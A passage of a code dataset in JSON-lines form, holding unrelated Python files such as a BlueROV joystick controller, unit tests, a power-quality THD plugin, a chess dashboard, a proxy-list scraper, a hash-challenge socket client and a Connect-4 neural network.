Depth hold / manual\n if msg.buttons[2]:\n bridge.set_mode('alt_hold')\n if msg.buttons[9]:\n bridge.set_mode('manual')\n\n # Movement\n x1 = 1500 + int(msg.axes[1] * limit)\n y1 = 1500 + int(msg.axes[0] * limit)\n z = 1500 + int(msg.axes[5] * limit)\n yaw1 = 1500 - int(msg.axes[2] * limit)\n\n # Cruise control\n x2 = 1500 + int(msg.axes[3] * limit)\n y2 = 1500\n yaw2 = 1500 - int(msg.axes[4] * limit)\n\n # Normal movement has higher priority\n x = x1 if x1 != 1500 else x2\n y = y1 if y1 != 1500 else y2\n yaw = yaw1 if yaw1 != 1500 else yaw2\n\n bridge.set_cmd_vel(x, y, z, yaw)\n\n\nif __name__ == '__main__':\n rospy.init_node('bluerov_cruise_control_node')\n\n limit = rospy.get_param('pwm_limit', 100)\n\n device = 'udp:192.168.2.1:14553'\n while not rospy.is_shutdown():\n try:\n bridge = Bridge(device)\n except socket.error:\n rospy.logerr(\n 'Failed to make mavlink connection to device {}'.format(\n device))\n rospy.sleep(1.0)\n else:\n break\n if rospy.is_shutdown():\n sys.exit(-1)\n bridge.update()\n\n joy_sub = rospy.Subscriber('/joy', Joy, joy_callback, queue_size=100)\n\n while not rospy.is_shutdown():\n bridge.set_mode('manual')\n bridge.arm_throttle(False)\n mode, arm = bridge.get_mode()\n if mode == 'MANUAL' and not arm:\n break\n rospy.sleep(0.5)\n\n rate = rospy.Rate(50)\n while not rospy.is_shutdown():\n bridge.update()\n rate.sleep()\n\n while not rospy.is_shutdown():\n bridge.set_mode('manual')\n mode, arm = bridge.arm_throttle(False)\n if mode == 'MANUAL' and not arm:\n break\n rospy.sleep(0.5)","sub_path":"bluerov_control/scripts/joy_control.py","file_name":"joy_control.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"257452233","text":"\n\nimport unittest\nfrom app import bucket_lists, bucket_list_item\n\n\nclass BucketListTest(unittest.TestCase):\n '''Tests for the Bucket List Class'''\n def test_add_bucket_list_works(self):\n '''Tests if add functionality works'''\n bucket_list = bucket_lists.BucketList()\n bucket_list.create_bucket_list('Hike')\n if 'Hike' in bucket_list.bucketlists:\n checkitem = True\n self.assertEqual(checkitem, True)\n\n def test_no_duplicate_bucket_lists(self):\n '''Test to check if duplicate bucket list can be added'''\n bucket_list = bucket_lists.BucketList()\n bucket_list.create_bucket_list('Hike')\n bucket_list.create_bucket_list('Hike')\n checkexists = False\n if len(list(set(bucket_list.bucketlists.keys()))) \\\n == len(bucket_list.bucketlists.keys()):\n checkexists = True\n self.assertEqual(checkexists, True)\n\n def test_delete_bucket_list_item(self):\n '''Tests if delete functionality works'''\n bucket_list = bucket_lists.BucketList()\n bucket_list.create_bucket_list('Camp')\n bucket_list.delete_bucket_list('Camp')\n delete_not_working = False\n if 'Camp' in bucket_list.bucketlists:\n delete_not_working = True\n self.assertEqual(delete_not_working, False)\n\n def test_edit_bucket_list_item(self):\n '''Tests if edit functionality works'''\n bucket_list = bucket_lists.BucketList()\n bucket_list.create_bucket_list('Camp')\n bucket_list.edit_bucket_list('Camp', 'Scouting')\n edit_not_working = False\n if 'Camp' in bucket_list.bucketlists:\n edit_not_working = True\n self.assertEqual(edit_not_working, False)\n\n\nclass BucketListItemTest(unittest.TestCase):\n '''Tests for the Bucket List Items Class'''\n\n def test_add_bucket_list_item_works(self):\n '''Tests if add functionality works'''\n item = bucket_list_item.BucketListItem()\n item.create_item('raft', 'roba')\n add_item_works = False\n if 'raft' in item.bucketlistitems:\n add_item_works = True\n self.assertEqual(add_item_works, True)\n\n def test_no_duplicate_list_item(self):\n '''Test to check if duplicate list item can be added'''\n item = bucket_list_item.BucketListItem()\n item.create_item('swim', 'roba')\n item.create_item('swim', 'roba')\n duplicate_exists = True\n if len(list(set(item.bucketlistitems.keys())))\\\n == len(item.bucketlistitems.keys()):\n duplicate_exists = False\n self.assertEqual(duplicate_exists, False)\n\n def test_delete_item(self):\n '''Tests if delete functionality works'''\n item = bucket_list_item.BucketListItem()\n item.create_item('do assignment', 'rt')\n item.delete_item('do assignment')\n delete_not_working = False\n if 'do assignment' in item.bucketlistitems:\n delete_not_working = True\n self.assertEqual(delete_not_working, False)\n\n def test_edit_item(self):\n '''Tests if edit functionality works'''\n item = bucket_list_item.BucketListItem()\n item.create_item('task', 'user')\n item.edit_item('task', 'task1')\n edit_not_working = False\n if 'task' in item.bucketlistitems:\n edit_not_working = True\n self.assertEqual(edit_not_working, False)\n","sub_path":"app/bucket_list_tests.py","file_name":"bucket_list_tests.py","file_ext":"py","file_size_in_byte":3429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"583392787","text":"from PyQt4 import QtGui\nfrom matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt4agg import NavigationToolbar2QT as NavigationToolbar\nimport matplotlib.pyplot as plt\nimport pyart\n\n'''\nFrame class\ninherits QtGui window\ninput arguments\n\noutput: export .png image of nexrad and goes\n'''\nclass Frame(QtGui.QMainWindow):\n def __init__(self,clipped_goes,clipped_nexrad,nexrad_object,goes_object):\n self.qapp = QtGui.QApplication([])\n self.nexrad_object=nexrad_object\n self.clipped_goes=clipped_goes\n self.clipped_nexrad=clipped_nexrad\n self.goes_object=goes_object\n\n\n QtGui.QMainWindow.__init__(self)\n self.widget = QtGui.QWidget()\n self.setCentralWidget(self.widget)\n self.widget.setLayout(QtGui.QVBoxLayout())\n self.widget.layout().setContentsMargins(0,0,0,0)\n self.widget.layout().setSpacing(5)\n\n self.fig = plt.Figure(figsize=(16,15))\n self.fig.subplots_adjust(hspace=.1)\n self.canvas = FigureCanvas(self.fig)\n\n\n\n ax0 = self.fig.add_subplot(2, 1, 2)\n # , extent=[1000,120,32,0] changes axis\n ax0.imshow(self.clipped_goes)\n\n ax1 = self.fig.add_subplot(2, 1, 1)\n # radar = pyart.io.read_nexrad_archive('nexrad_intersections/'+nexrad_object['KEY'])\n # display = pyart.graph.RadarDisplay(radar)\n # display.plot('reflectivity', 0, title=\"title\",ax=ax1,colorbar_flag=False)\n ax1.imshow(self.clipped_nexrad)\n\n\n self.canvas.draw()\n self.scroll = QtGui.QScrollArea(self.widget)\n self.scroll.setWidget(self.canvas)\n\n self.nav = NavigationToolbar(self.canvas, self.widget)\n self.widget.layout().addWidget(self.nav)\n self.widget.layout().addWidget(self.scroll)\n\n\n self.fig.savefig(\"goes_intersections/output/\"+nexrad_object['KEY'].replace(\"/\",\"_\")+\"__\"+goes_object['KEY'].replace(\"/\",\"\")+\".png\", dpi=100)\n # self.show()\n # exit(self.qapp.exec_())","sub_path":"datasets/Frame.py","file_name":"Frame.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"265884700","text":"#ALGORITHM\r\n#1 Introduce the program to the user\r\n\r\n#2 Define instructions to the user\r\n\r\n#3 Request for a shape entry from user\r\n\r\n#4 Use conditional statements to run procedure for area calculation\r\n\r\n\r\n\r\n#The Program\r\n\r\n\r\n#1 Introduce the program to the user\r\ngreeting = 'welcome to the area calculator app'\r\nprint(greeting.title())\r\n\r\n\r\n#2 Define instructions to the user\r\ninstruction = 'select the option that matches your desired shape'\r\nprint(instruction.title())\r\n\r\n\r\n#3 Request for a shape entry from user\r\nshape_request = input('Please select your desired shape:\\n (a) square \\n (b) rectangle \\n (c) triangle \\n shape choice: ').lower()\r\n\r\n\r\n#4 Use conditional statements to run procedure for area calculation\r\nif shape_request == 'a':\r\n\tl_sq = input('Please enter length of square: ')\r\n\tarea = int(l_sq) ** 2\r\n\tprint('The area of the square is ', area)\r\n\r\nelif shape_request == 'b':\r\n\tl_rec = input('Please enter length of rectangle: ')\r\n\tb_rec = input('Please enter breadth of rectangle: ')\r\n\trec_area = int(l_rec) * int(b_rec)\r\n\tprint('The area of the rectaangle is ', rec_area)\r\n\r\nelif shape_request == 'c':\r\n\tbase = input('Please enter base of triangle: ')\r\n\theight = input('Please enter height of triangle: ')\r\n\ttriangle_area = float(0.5) * float(base) * float(height)\r\n\tprint('The area of the triangle is ', triangle_area)\r\n\r\nelse:\r\n\tprint('Invalid choice')\r\n","sub_path":"Assignment_Wk4_Day2_num1Area_Calculator_app.py","file_name":"Assignment_Wk4_Day2_num1Area_Calculator_app.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"346399990","text":"'''Format a string of numbers to display a currency - example\" \"1234.678\" to \"1,234.68\".\n'''\ndef solution(S):\n currency = float(\"{0:.2f}\".format(float(S)))\n currency = list(str(currency))\n n = len(currency)\n count = 0\n for i in range(n-2,-1,-1):\n count += 1\n if count % 3 == 0 and count != 3:\n currency[i] = currency[i] + ','\n return ''.join(currency)","sub_path":"Coding-Questions/stringtocurrency.py","file_name":"stringtocurrency.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"362835041","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\nrawData = pd.read_csv('StudentsPerformance.csv')\n\n#print(rawData)\n\ndataInfo = rawData.info()\n\n#print(dataInfo)\n\ndataNeeded = pd.read_csv('StudentsPerformance.csv', usecols=['gender', 'math score'])\n\nfemaleFilter = dataNeeded['gender'].isin(['female'])\nmaleFilter = dataNeeded['gender'].isin(['male'])\n\n#print(dataNeeded)\n\nfemaleData = dataNeeded[femaleFilter]\nmaleData = dataNeeded[maleFilter]\n\nfemaleMathScore = femaleData['math score']\nmaleMathScore = maleData['math score']\n\nfemaleMathScoreAverage = np.average(femaleMathScore)\nmaleMathScoreAverage = np.average(maleMathScore)\n\n#print(maleData)\n#print(femaleData)\n\n#print(femaleMathScoreAverage)\n#print(maleMathScoreAverage)\n\nplt.title('Promedio de pruebas de matemáticas por genero')\n\nplt.bar([1], [maleMathScoreAverage], color = 'blue')\nplt.bar([2], [femaleMathScoreAverage], color = 'pink')\n\nplt.legend(['Hombres', 'Mujeres'])\n\nplt.xlabel('Gender')\nplt.ylabel('Score')\n\nplt.show()","sub_path":"CSVAnalisis.py","file_name":"CSVAnalisis.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"182408682","text":"from django.conf.urls import url\r\n\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n\turl(r'^index/$', views.index, name='index'),\r\n\turl(r'^index/(?P[0-9]+)/$', views.izdelek_view, name='izdelek_view'),\r\n\turl(r'^index/(?P[0-9]+)/edit/$', views.izdelek_edit, name='izdelek_edit'),\r\n\turl(r'^forum/$', views.forum, name='forum'),\r\n\turl(r'^registration/$', views.registration, name='registration'),\r\n\turl(r'^news/$', views.news, name='news'),\r\n\turl(r'^addNew/$', views.addNew, name='addNew'),\r\n\turl(r'^logout/$', views.logout_user, name='logout'),\r\n]\r\n\r\n","sub_path":"project/webPage/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"487777614","text":"import requests\nimport random\nfrom fake_useragent import UserAgent\nfrom bs4 import BeautifulSoup\n# 获取网页内容\ndef getHTMLText(url,proxies):\n try:\n r=requests.get(url,proxies=proxies,headers=headers)\n r.raise_for_status()\n r.encoding=r.apparent_encoding\n return r.text\n except:\n print('错误')\n# # 获取所有代理IP的地址和端口号\ndef get_ip_list(url):\n web_data=requests.Session().get(url,headers=headers)# Seession 保持登录状态进行后续操作\n soup=BeautifulSoup(web_data.text,'html.parser')\n tr=soup.find_all('tr')\n ip_list=[]\n for i in range(1,len(tr)):\n ip_info=tr[i]\n tds=ip_info.find_all('td')\n ip_list.append(tds[1].text+':'+tds[2].text) # 提取所有的IP地址和端口\n for ip in ip_list:\n proxy_host='https://'+ip\n proxy_host1 = 'http://' + ip\n proxy_temp={'https':proxy_host,\n 'http': proxy_host1}\n print(proxy_temp)\n return proxy_temp\n# 测试代理,建立代理IP池\ndef proxy_pool(headers):\n # 调用上面函数\n proxy_list = get_ip_list(url)\n # 可用代理IP列表\n useful_proxy = []\n # 测试代理是否可用\n for proxy in proxy_list:\n # proxy: {'http':'http://xxxx:xx'}\n try:\n res = requests.get(\n url='http://httpbin.org/get',\n headers=headers,\n proxies = proxy,\n timeout = 5\n )\n print(res.text)\n useful_proxy.append(proxy)\n except Exception as e:\n print('{}不能用'.format(proxy))\n continue\n return useful_proxy\n\nif __name__ == '__main__':\n us=UserAgent()\n headers={'User-Agent':us.random}\n url='https://www.xicidaili.com/nn/'\n proxy_pool(headers)\n\n\n\n\n\n\n\n\n","sub_path":"python_code/爬虫/反扒机制学习/defend.py","file_name":"defend.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"113479832","text":"import pandas as pd\nimport numpy as np\n#concatenating\ndf1=pd.DataFrame(np.ones((3,4))*0,columns=['a','b','c','d'])\ndf2=pd.DataFrame(np.ones((3,4))*1,columns=['a','b','c','d'])\ndf3=pd.DataFrame(np.ones((3,4))*2,columns=['a','b','c','d'])\nprint(df1)\nprint(df2)\nprint(df3)\nres=pd.concat([df1,df2,df3],axis=0,ignore_index=True)\n#ignore_index means to reshuffle the data index after merge\nprint(res)\nef1=pd.DataFrame(np.ones((3,4))*0,columns=['a','b','c','d'],index=[1,2,3])\ndf2=pd.DataFrame(np.ones((3,4))*1,columns=['b','c','d','e'],index=[2,3,4])\noutjoin=pd.concat([df1,df2],join='outer')\n#merge the data like a combination\nprint(outjoin)\ninnerjoin=pd.concat([df1,df2],join='inner')\n#Only show the results of intersection columns between two data\nprint(innerjoin)\n#join_axes\njoin_axes=pd.concat([df1,df2],axis=1,join_axes=[df1.index])\n#if we do not use join_axes, all the data will be merged by index,\n# if use,only use the chosen index to merge data,which means the index only appear in the other will be lost\nprint(join_axes)\ns1=pd.Series([1,2,3,4],index=['a','b','c','d'])\nappend=df1.append(s1,ignore_index=True)\n#we can only append vertically, horizontally append is not available\nprint(append)","sub_path":"pythonconcat.py","file_name":"pythonconcat.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"489813828","text":"import sys\nls=(sys.argv[1:])\ndef string2floats(ls):\n lf=[] \n for element in ls:\n lf.append(float(element))\n return lf\ndef positive_min(lf):\n minimum = float(\"inf\")\n for i in range(0,len(lf)):\n if (minimum>lf[i] and lf[i]>0):\n minimum=lf[i]\n return minimum\n\npositive_min(string2floats(ls))","sub_path":"Assignment1/q6functions.py","file_name":"q6functions.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"468116514","text":"\"\"\"\nThis plugin calculates total harmonic distortion (THD) over waveforms.\n\"\"\"\nimport multiprocessing\nimport typing\n\nimport numpy\nimport scipy.fftpack\n\nimport constants\nimport mongo\nimport plugins.base_plugin\nimport protobuf.util\nimport protobuf.mauka_pb2\n\n\ndef rolling_window(array, window):\n \"\"\"\n Given an array and window, restructure the data so that it is in a rolling window of size \"window\" and step = 1.\n :param array: The array to roll a window over\n :param window: The window size\n :return: A 2D array where each row is a window into the provided data.\n \"\"\"\n if len(array) <= window:\n return numpy.array([array])\n shape = array.shape[:-1] + (array.shape[-1] - window + 1, window)\n strides = array.strides + (array.strides[-1],)\n return numpy.lib.stride_tricks.as_strided(array, shape=shape, strides=strides)\n\n\ndef thd(waveform: numpy.ndarray, fundamental: int) -> float:\n \"\"\"\n Calculates the total harmonic distortion (THD) of the provided waveform with the provided fundamental of the\n waveform.\n :param waveform: The waveform to find the THD of.\n :param fundamental: The fundamental frequency (in Hz) of the provided waveform.\n :return: The calculated THD of the provided waveform.\n \"\"\"\n fundamental = int(fundamental)\n abs_dft = numpy.abs(scipy.fftpack.fft(waveform))\n\n top = numpy.sqrt(numpy.sum(abs_dft[i] ** 2 for i in numpy.arange(2 * fundamental, len(abs_dft) // 2, fundamental)))\n bottom = abs_dft[fundamental]\n return (top / bottom) * 100.0\n\n\nclass ThdPlugin(plugins.base_plugin.MaukaPlugin):\n \"\"\"\n Mauka plugin that calculates THD over raw waveforms.\n \"\"\"\n NAME = \"ThdPlugin\"\n\n def __init__(self, config: typing.Dict, exit_event: multiprocessing.Event):\n \"\"\"\n Initializes this plugin\n :param config: Mauka configuration\n :param exit_event: Exit event that can disable this plugin from parent process\n \"\"\"\n super().__init__(config, [\"AdcSamples\", \"ThdRequestEvent\"], ThdPlugin.NAME, exit_event)\n self.threshold_percent = float(self.config_get(\"plugins.ThdPlugin.threshold.percent\"))\n self.sliding_window_ms = float(self.config_get(\"plugins.ThdPlugin.window.size.ms\"))\n\n def sliding_thd(self, event_id: int, box_id: str, box_event_start_timestamp: int, waveform: numpy.ndarray):\n \"\"\"\n Calculates sliding THD over a waveform.\n High THD values are then stored as incidents to the database.\n :param event_id: Event that this waveform came form.\n :param box_id: Box that this waveform came from.\n :param box_event_start_timestamp: Start timestamp of the provided waveform\n :param waveform: The waveform to calculate THD over.\n \"\"\"\n window_size = int(constants.SAMPLE_RATE_HZ * (self.sliding_window_ms / constants.MILLISECONDS_PER_SECOND))\n windows = rolling_window(waveform, window_size)\n thds = [thd(window, constants.CYCLES_PER_SECOND) for window in windows]\n prev_beyond_threshold = False\n prev_idx = -1\n max_thd = -1\n for i, thd_i in enumerate(thds):\n if thd_i > max_thd:\n max_thd = thd_i\n\n if thd_i > self.threshold_percent:\n # We only care if this is the start of a new anomaly\n if not prev_beyond_threshold:\n prev_idx = i\n prev_beyond_threshold = True\n else:\n # We only care if this is the end of an anomaly\n if prev_beyond_threshold:\n prev_beyond_threshold = False\n\n # Every thd value is a sample over a 200 ms window\n incident_start_timestamp = int(box_event_start_timestamp + (prev_idx * self.sliding_window_ms))\n incident_end_timestamp = int(\n box_event_start_timestamp + (i * self.sliding_window_ms) + self.sliding_window_ms)\n\n mongo.store_incident(\n event_id,\n box_id,\n incident_start_timestamp,\n incident_end_timestamp,\n mongo.IncidentMeasurementType.THD,\n max_thd,\n [mongo.IncidentClassification.EXCESSIVE_THD],\n [],\n {},\n self.mongo_client\n )\n\n def on_message(self, topic, mauka_message):\n \"\"\"\n Fired when this plugin receives a message. This will wait a certain amount of time to make sure that data\n is in the database before starting thd calculations.\n :param topic: Topic of the message.\n :param mauka_message: Contents of the message.\n \"\"\"\n if protobuf.util.is_payload(mauka_message, protobuf.mauka_pb2.ADC_SAMPLES):\n self.debug(\"on_message {}:{} len:{}\".format(mauka_message.payload.event_id,\n mauka_message.payload.box_id,\n len(mauka_message.payload.data)))\n self.sliding_thd(mauka_message.payload.event_id,\n mauka_message.payload.box_id,\n mauka_message.payload.start_timestamp_ms,\n protobuf.util.repeated_as_ndarray(\n mauka_message.payload.data\n ))\n else:\n self.logger.error(\"Received incorrect mauka message [%s] at ThdPlugin\",\n protobuf.util.which_message_oneof(mauka_message))\n","sub_path":"mauka/plugins/thd_plugin.py","file_name":"thd_plugin.py","file_ext":"py","file_size_in_byte":5659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"406288556","text":"import pickle\nimport os.path\nfrom . import chess\nfrom bottle import request\n\nclass dashboard_chess:\n\tdef __init__(self):\n\t\tself.file = 'dashboard.dict'\n\t\tif os.path.isfile(self.file):\n\t\t\tself.dashboard = pickle.load(open(self.file,'rb'))\n\t\telse:\n\t\t\tself.dashboard = []\n\t\t\t#self.castling()\n\t\t\tself.checkMate()\n\t\t\t\n\t\t\tpickle.dump(self.dashboard, open(self.file,'wb'))\n\t\t\t\n\t\t\t\n\tdef checkMate(self):\n\t\tname3 = 'jan.bannister@gmail.com'\n\t\tname4 = 'dick.applebee@gmail.com'\n\t\t\n\t\tfoolsMate = chess.chess(name3, name4, random_chess = 123)\n\t\tfoolsMate.move('f2 f3') # pawn white\n\t\tfoolsMate.move('e7 e5') # pawn black\n\t\tfoolsMate.move('g2 g4') # pawn white\n\t\t#foolsMate.move('d8 h4') # queen black\n\t\t\n\t\tself.add(foolsMate)\n\t\t\n\t\tscholarsMate = chess.chess(name3, name4, random_chess = 456)\n\t\tscholarsMate.move('e2 e4') # pawn white\n\t\tscholarsMate.move('e7 e5') # pawn black\n\t\tscholarsMate.move('d1 h5') # queen white\n\t\tscholarsMate.move('b8 c6') # knight black\n\t\tscholarsMate.move('f1 c4') # bishop white\n\t\tscholarsMate.move('g8 f6') # knight black\n\t\tscholarsMate.move('h5 f7') # queen white\n\t\t\n\t\tself.add(scholarsMate)\n\t\t\t\n\tdef castling(self):\n\t\t\n\t\tname3 = 'jan.bannister@gmail.com'\n\t\tname4 = 'dick.applebee@gmail.com'\n\t\t\n\t\tcastling1 = chess.chess(name3, name4, random_chess = 123)\n\t\tcastling1.move('e2 e4') # pawn\n\t\tcastling1.move('e7 e5') # pawn\n\t\tcastling1.move('f1 c4') # bishop\n\t\tcastling1.move('f8 c5') # bishop\n\t\tcastling1.move('g1 f3') # knight\n\t\tcastling1.move('g8 f6') # knight\n\t\tcastling1.move('e1 g1') # white king (castling)\n\n\t\tcastling2 = chess.chess(name3, name4, random_chess = 456)\n\t\tcastling2.move('e2 e4') # pawn\n\t\tcastling2.move('e7 e5') # pawn\n\t\tcastling2.move('f1 c4') # bishop\n\t\tcastling2.move('f8 c5') # bishop\n\t\tcastling2.move('g1 f3') # knight\n\t\tcastling2.move('g8 f6') # knight\n\t\tcastling2.move('a2 a3') # pawn\n\t\tcastling2.move('e8 g8') # black king (castling)\n\t\t\n\t\tcastling3 = chess.chess(name3, name4, random_chess = 789)\n\t\tcastling3.move('d2 d4') # pawn\n\t\tcastling3.move('d7 d5') # pawn\n\t\tcastling3.move('d1 d3') # queen\n\t\tcastling3.move('d8 d6') # queen\n\t\tcastling3.move('c1 f4') # bishop\n\t\tcastling3.move('c8 f5') # bishop\n\t\tcastling3.move('b1 c3') # knight\n\t\tcastling3.move('b8 c6') # knight\n\t\tcastling3.move('e1 c1') # white king (castling)\n\t\t\n\t\tcastling4 = chess.chess(name3, name4, random_chess = 987)\n\t\tcastling4.move('d2 d4') # pawn\n\t\tcastling4.move('d7 d5') # pawn\n\t\tcastling4.move('d1 d3') # queen\n\t\tcastling4.move('d8 d6') # queen\n\t\tcastling4.move('c1 f4') # bishop\n\t\tcastling4.move('c8 f5') # bishop\n\t\tcastling4.move('b1 c3') # knight\n\t\tcastling4.move('b8 c6') # knight\n\t\tcastling4.move('a2 a3') # pawn\n\t\tcastling4.move('e8 c8') # black king (castling)\n\t\t\n\t\tself.add(castling1)\n\t\tself.add(castling2)\n\t\tself.add(castling3)\n\t\tself.add(castling4)\n\t\t\n\t\t\n\tdef add(self, chess):\n\t\tself.dashboard.append(chess)\n\t\tpickle.dump(self.dashboard, open(self.file,'wb'))\n\t\t\n\tdef delete(self, chess):\n\t\tc = int(chess)\n\t\tcount = 0\n\t\tfor x in self.dashboard:\n\t\t\tif x.random_chess == c:\n\t\t\t\tprint(x.random_chess,' == ', c)\n\t\t\t\tself.dashboard.pop(count)\n\t\t\tcount += 1\n\t\t\n\tdef dump(self):\n\t\tpickle.dump(self.dashboard, open(self.file,'wb'))\n\t\t\n\tdef pick(self, r):\n\t\tr = int(r)\n\t\tusername = request.get_cookie('username','', secret='the sercet')\n\t\tfor x in self.dashboard: \n\t\t\tif x.random_chess == r:\n\t\t\t\tif x.whitePlayer == username or x.blackPlayer == username: \n\t\t\t\t\treturn x\n\t\treturn None\n\t\t\n\tdef __repr__(self):\n\t\tr = ''\n\t\tfor x in self.dashboard:\n\t\t\tr += str(x)\n\t\treturn r\n\t\t\n\tdef html(self):\n\t\tr = ''\n\t\tfor x in self.dashboard:\n\t\t\tr += str(x.html()) + ''\n\t\treturn r\n\t\t\n\t\n\t\t\n\t\t","sub_path":"chess/dashboard_chess.py","file_name":"dashboard_chess.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"364886738","text":"## assignment0 due date : 4/6\n## Created by Jongsun Shinn : 4/3\n## Feel free to edit and merge this file to enjoy confilcts!\n\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport sklearn\n\n# problem1\n# Environment Setting\n\n# problem2\n# 1) vectorize_sumproducts\nx1_list = np.arange(0,10)\nx2_list = 2*np.arange(0,10)\n\nsumproducts = np.matmul(x1_list,x2_list)\n\n#print(sumproducts)\n\n# 2) vectorize_Relu\n\n#x = np.array([x1_list, x2_list])\n\nx = torch.randn(np.random.randint(3,10),np.random.randint(3,10),np.random.randint(3,10))\ny = F.relu(x)\n\n# 3) vectorize_Prelu\na = torch.tensor(0.1)\ny = F.prelu(x,a)\n\nprint(x)\nprint(x.shape)\n\n# Problem 3\n# 1) slice fixed point\n\ndef result_slice_fixed_points(df,length,position):\n for i in range(df.shape[0]):\n result = torch.tensor(df.shape)\n print(result.shape)\n #result[i] = df[position:position+length]\n print(df[position:position+length])\n return result\n\ndata = x\ny = result_slice_fixed_points(data, 2, 2)\nprint(y)\n\n# 2) slice last point\n# 3) slice random point\n\n\n\nreal_data = [\n [0, 1, 2, 3, 4],\n [0, 1, 2, 3],\n [0, 1, 2, 3, 4,5],\n [0, 1, 2, 3, 4]\n ]\n\ndata = real_data\nresult = result_slice_fixed_points(real_data, 2, 2)\nprint(result)\n\n# For any (uXlY) in data, X stands for the index of the utterance and Y\n# stands for the index of the feature in the feature vector of the\n# utterance X.\n\n# result_slice_fixed_point = slice_fixed_point(data, 2, 1)\n# >>>> print(result_slice_fixed_point)\n# >>>>\n# [[u0l1, u0l2],\n# [u1l1, u1l2],\n# [u2l1, u2l2],\n# [u3l1, u3l2]]\n# result_slice_last_point = slice_last_point(data, 3)\n# >>>> print(result_slice_last_point)\n# >>>>\n# [[u0l2, u0l3, u0l4],\n# [u1l1, u1l2, u1l3],\n# [u2l3, u2l4, u2l5],\n# [u3l2, u3l3, u3l4]]","sub_path":"assignment0/assignment0.py","file_name":"assignment0.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"506354855","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\n# importing useful libraries -- feel free to add any others you find necessary\nimport socket\nimport hashlib\nimport re\n\nhost = \"142.93.117.193\" # IP address or URL\nport = 7331 # port\n\n# use these to connect to the service\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host, port))\n\nwhile True:\n\tdata = s.recv(1024)\n\tprint(data)\n\n\tm = re.search(r'Find me the (\\w+) hash of (\\w+)', data)\n\tif not m:\n\t\tbreak\n\t\t\n\thash, val = m.groups()\n\n\t# whitelisted input\n\tif hash not in ['md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512']:\n\t\tbreak\n\t\n\tres = getattr(hashlib, hash)(val).hexdigest()\n\n\tprint(res)\n\t\t\n\ts.send(res + '\\n')\n\t\n# close the connection\ns.close()\n","sub_path":"week/9/writeup/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"322621037","text":"from math import tanh\nfrom time import sleep\nclass Neurone(object):\n def __init__(this,valeur):\n this.valeur = valeur;\n this.liens = []\n def FinaliserNeurone(this):\n this.valeur = tanh(this.valeur);\n \nclass Lien(object):\n def __init__(this,valeur,neurone):\n this.valeur = valeur;\n this.neurone = neurone;\n def CalculerNeurone(this,valeurNeuroneEntree):\n this.neurone.valeur += this.valeur * valeurNeuroneEntree;\n\nclass CoucheNeurone(object):\n def __init__(this, valeurNeurones, valeursLiens = [],valeurBias = [],\n neuronesCouchePrecedente = [], biasPrecedent = []):\n this.neurones = [];\n this.bias = Neurone(1);\n for valeur in valeurNeurones:\n this.neurones.append(Neurone(valeur))\n for i in range(len(neuronesCouchePrecedente)):\n for j in range(len(valeurNeurones)):\n neuronesCouchePrecedente[i].liens.append(\n Lien(valeursLiens[i * len(valeurNeurones) + j], \n this.neurones[j]));\n for i in range(len(valeurBias)): \n biasPrecedent.liens.append(Lien(valeurBias[i],this.neurones[i]))\n def calculer(this):\n for neurone in this.neurones:\n neurone.FinaliserNeurone()\n for lien in neurone.liens:\n lien.CalculerNeurone(neurone.valeur);\n for lien in this.bias.liens:\n lien.CalculerNeurone(1);\n def afficher(this):\n for i in range(len(this.neurones)):\n print(i,this.neurones[i].valeur)\n sleep(1);\n def reinitNeurVal(this):\n for n in this.neurones:\n n.valeur = 0.0;\n def getNeuronesVal(this):\n tab = []\n for n in this.neurones:\n tab.append(n.valeur);\n return tab\n\nclass ReseauNeuronePuissance4(object):\n def __init__(this, tableau = [0] * 1712, tableauBias = [0] * 39):\n this.slow = False\n this.entree = CoucheNeurone([2] * 84);\n #taille tableau 1056\n #256\n this.c1 = CoucheNeurone([0] * 16, tableau[:1344],tableauBias[:16],\n this.entree.neurones,this.entree.bias);\n this.c2 = CoucheNeurone([0] * 16, tableau[1344:1344+256],tableauBias[16:32],\n this.c1.neurones, this.c1.bias);\n this.sortie = CoucheNeurone([0] * 7, tableau[1344+256:],tableauBias[32:],\n this.c2.neurones, this.c2.bias);\n\n\n def calculer(this):\n this.c1.reinitNeurVal();\n this.c2.reinitNeurVal();\n 